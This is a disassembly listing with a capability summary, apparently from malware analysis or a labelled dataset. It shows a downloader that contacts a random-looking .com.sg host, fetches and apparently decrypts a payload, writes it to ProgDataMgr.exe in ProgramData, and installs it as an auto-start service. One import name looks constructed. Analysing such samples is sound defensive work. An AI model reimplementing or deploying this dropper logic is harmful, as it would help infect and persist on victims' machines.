Function at 0x4016c0
Capabilities:
Connect to http server
Create http request
Create service
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write file on windows

Disassembly:
push ebp
mov eax, 1
push edi
push esi
push ebx
sub esp, 0x6c
cmp dword [esp + 0x88], 1
je 0x4019b1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], str.Stella
call dword [sym.imp.WININET.DLL_InternetOpenA]
sub esp, 0x14
mov edi, eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0xd05
mov dword [esp + 4], str.rzwbeuvvuhhauwfhfzhheciiyltnvc.com.sg
mov dword [esp], eax
call dword [sym.imp.WININET.DLL_InternetConnectA]
sub esp, 0x20
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0x80000000
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x40403e
mov dword [esp + 4], 0x404041
mov dword [esp + 0x48], eax
mov dword [esp], eax
call dword [sym.imp.WININET.DLL_HttpOpenRequestA]
sub esp, 0x20
mov esi, eax
mov dword [esp], 0x1000
call sub.msvcrt.dll_malloc
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov ebp, eax
mov dword [esp + 8], 0x17
mov dword [esp + 4], str.Content_Type:_text_html
mov dword [esp], esi
call dword [sym.imp.WININET.DLL_HttpSendRequestA]
sub esp, 0x14
test eax, eax
je 0x4019c0
xor ebx, ebx
lea edi, [esp + 0x5c]
jmp 0x40180e
mov eax, dword [esp + 0x5c]
test eax, eax
je 0x401832
add ebx, eax
mov dword [esp], ebp
lea eax, [ebx + 0x1000]
mov dword [esp + 4], eax
call sub.msvcrt.dll_realloc
mov ebp, eax
lea eax, [ebp + ebx]
mov dword [esp + 0xc], edi
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], esi
call dword [sym.imp.WININET.DLL_InternetReadFile]
sub esp, 0x10
test eax, eax
jne 0x4017f0
mov dword [esp], esi
mov esi, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call esi
sub esp, 4
mov eax, dword [esp + 0x48]
mov dword [esp], eax
call esi
sub esp, 4
mov eax, dword [esp + 0x4c]
mov dword [esp], eax
call esi
sub esp, 4
cmp ebx, 0xffffffff
jne 0x4019f0
mov dword [esp], 0
call dword [sym.imp.XYSJANDZ.DLL_DecryptPayloadEx]
sub esp, 4
mov dword [esp + 0x5c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
mov dword [esp], str.C:ProgramDataProgDataMgr.exe
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
mov esi, eax
cmp eax, 0xffffffff
je 0x4019b1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edi
mov dword [esp + 8], ebx
mov dword [esp + 4], ebp
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x14
mov dword [esp], esi
test eax, eax
je 0x401a08
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [esp + 8], 0xf003f
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
sub esp, 0xc
mov ebx, eax
test eax, eax
je 0x4019ac
mov dword [esp + 0x30], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], str.C:ProgramDataProgDataMgr.exe
mov dword [esp + 0x18], 1
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 0x10
mov dword [esp + 0xc], 0xf01ff
mov dword [esp + 8], str.ProgDataMgr
mov dword [esp + 4], str.ProgDataMgr
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
sub esp, 0x34
test eax, eax
je 0x401a13
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [esp], eax
call esi
sub esp, 4
mov dword [esp], ebx
call esi
sub esp, 4
call fcn.00401520
add esp, 0x6c
pop ebx
pop esi
pop edi
pop ebp
ret 0x10
mov ebx, dword [sym.imp.WININET.DLL_InternetCloseHandle]
mov dword [esp], esi
call ebx
sub esp, 4
mov eax, dword [esp + 0x48]
mov dword [esp], eax
call ebx
sub esp, 4
mov dword [esp], edi
call ebx
sub esp, 4
add esp, 0x6c
pop ebx
pop esi
pop edi
pop ebp
ret 0x10
test ebx, ebx
jne 0x401871
add esp, 0x6c
pop ebx
pop esi
pop edi
pop ebp
ret 0x10
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
jmp 0x4019b1
mov dword [esp], ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
sub esp, 4
jmp 0x4019ac